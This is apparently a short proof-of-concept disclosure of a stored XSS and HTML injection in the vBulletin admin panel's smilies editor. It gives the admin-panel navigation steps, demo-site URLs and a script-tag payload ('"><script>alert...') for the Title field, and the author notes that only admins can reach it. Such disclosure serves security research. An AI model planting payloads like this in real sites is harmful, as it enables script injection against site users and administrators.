PoC:
Go to the Admin panel -> open Smilies -> Smilies manager->Edit Smilie
Categories->edit Smile:
https://72329406fb3a-041342.demo.vbulletin.net/admincp/index.php
https://72329406fb3a-041342.demo.vbulletin.net/admincp/image.php?do=edit&table=smilie&id=1&pp=20&page=1&imagecategoryid=4
Put our code in the field "Title" or "Text to Replace" and other fields.
Our code:
""><script>alert("field")</script><marquee>test</marquee>
And save this. We have a stored XSS and html code injection.

p.s.
Today i haven't idea how to use this bug, because only the admin user
has an access to the admincp and can insert xss code in the fields.
